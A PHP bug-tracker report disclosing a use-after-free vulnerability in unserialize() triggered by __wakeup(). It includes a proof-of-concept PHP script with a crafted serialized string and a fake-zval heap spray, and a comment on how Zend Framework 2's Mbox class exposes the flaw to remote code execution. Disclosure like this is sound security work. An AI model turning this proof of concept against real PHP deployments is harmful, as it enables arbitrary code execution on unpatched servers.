|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-02-03 06:18 UTC] taoguangchen at icloud dot com
Description:
------------
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
zval retval;
zval fname;
if (Z_TYPE_P(rval) != IS_OBJECT) {
return 0;
}
//??? TODO: resize before
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
return 0;
}
ZVAL_DEREF(rval);
if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);
The __wakeup() magic method lead to this problem.
The simple code:
<?php
class evilClass {
public $name;
function __wakeup() {
unset($this->name);
}
}
$fakezval = pack(
'IIII',
0x00100000,
0x00000400,
0x00000000,
0x00000006
);
$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}');
for($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
?>
The unset() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 22:00:01 2025 UTC |
In fact, many programs use __wakeup(), and don't need a special definition of __wakeup(), some very common operations can cause problems, like Zend Framework 2 class Mbox extends AbstractStorage { ... protected function openMboxFile($filename) { if ($this->fh) { $this->close(); } ErrorHandler::start(); $this->fh = fopen($filename, 'r'); $error = ErrorHandler::stop(); if (!$this->fh) { throw new Exception\RuntimeException('cannot open mbox file', 0, $error); } $this->filename = $filename; $this->filemtime = filemtime($this->filename); ... public function close() { ErrorHandler::start(E_WARNING); fclose($this->fh); ErrorHandler::stop(); $this->positions = array(); } ... public function __wakeup() { ErrorHandler::start(); $filemtime = filemtime($this->filename); ErrorHandler::stop(); if ($this->filemtime != $filemtime) { $this->close(); $this->openMboxFile($this->filename); } else { ErrorHandler::start(); $this->fh = fopen($this->filename, 'r'); $error = ErrorHandler::stop(); if (!$this->fh) { throw new Exception\RuntimeException('cannot open mbox file', 0, $error); } } } $this->positions, $this->filemtime and etc will be assigned, which leads to use after free vulnerability and remote code execution.